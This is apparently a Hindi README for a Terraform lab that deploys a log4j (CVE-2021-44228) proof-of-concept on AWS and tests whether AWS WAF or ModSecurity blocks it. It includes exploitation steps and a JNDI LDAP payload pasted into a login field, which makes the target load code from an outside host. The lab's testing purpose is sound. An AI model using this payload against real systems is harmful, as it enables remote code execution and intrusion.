
यह प्रोजेक्ट फाइलें Terraform के Infrastructure-as-a-code माध्यम का उपयोग करके AWS पर log4j भेद्यता (CVE-2021-44228) का एक proof-of-concept प्रदर्शित करती हैं।
यह प्रोजेक्ट फ़ाइलें AWS पर Terraform इन्फ्रास्ट्रक्चर-एज़-कोड माध्यमों का उपयोग करके log4j भेद्यता (CVE-2021-44228) के प्रूफ-ऑफ-कॉन्सेप्ट को प्रदर्शित करती हैं।
इस प्रोजेक्ट में 2 डेमो हैं:
निष्कर्ष: पहला डेमो AWS WAF का उपयोग करके एक सफल शोषण प्रदर्शित करता है। दूसरा डेमो एक असफल प्रयास था जब ModSecurity स्थापित था। ModSecurity को हटाने पर शोषण सफल होगा। ऐसा हो सकता है क्योंकि ModSecurity एक सक्रिय परियोजना है, इसलिए भेद्य स्ट्रिंग्स की पहचान कर फ़िल्टर कर दी गई हैं।
यह पीओसी निम्नलिखित से लिया गया था: https://github.com/kozmer/log4j-shell-poc
यह मीडियम ब्लॉग बताता है कि उसका प्रयास कैसे हुआ: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873
व्यक्तिगत रूप से, मैंने Windows + Powershell का उपयोग करके परीक्षण किया, क्लाउड मशीन Ubuntu 18 LTS है। (kali या किसी भी लिनक्स के साथ शोषण)
वेब के माध्यम से बनाएं (इसे 'tf-aws' नाम दें): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs
https://us-east-1.console.aws.amazon.com/iamv2/home#/users > उपयोगकर्ता चुनें > अनुभाग security_credentials चुनें
Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"
Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"
cd single-instance
terraform init
terraform apply
चलाने के बाद, एक IP / DNS सूचीबद्ध होगा।
single-instance के लिए, सुनिश्चित करें कि http:<aws host url>:8080 सुलभ है
double-instance के लिए, सुनिश्चित करें कि http:<aws host url> सुलभ है
* कृपया ध्यान दें कि 'double-instance' को चालू करने में अधिक समय लगता है, आप ssh के बाद journalctl -f का उपयोग प्रगति को ट्रैक करने के लिए कर सकते हैं
यदि आप journal का अनुसरण करते हैं, "Reached target Cloud-init target." का अर्थ है कि यह तैयार अवस्था में है।

निष्पादन अनुमति सेट करें
chmod +x ../exploit-script-remote.sh
आपूर्ति किए गए चर के साथ स्क्रिप्ट चलाएं
../exploit-script-remote.sh
ध्यान दें कि पेलोड स्क्रिप्ट के अंत में ${jndi:ldap://<ip-address>:1389/a} जैसा प्रदर्शित होता है
http:<aws host url>:8080 पर जाएं
पेलोड को 'username' फ़ील्ड में कॉपी करें और फॉर्म सबमिट करें

JDK फ़ाइल: सुनिश्चित करें कि baidu स्रोत से अखंडता Oracle के समान हैश है SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974
स्पॉट इंस्टेंस: https://www.tderflinger.com/en/ec2-spot-with-terraform
SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html
[चलते-फिरते ssh कुंजी] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform
WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/
टेम्पलेटिंग: https://spacelift.io/blog/terraform-templates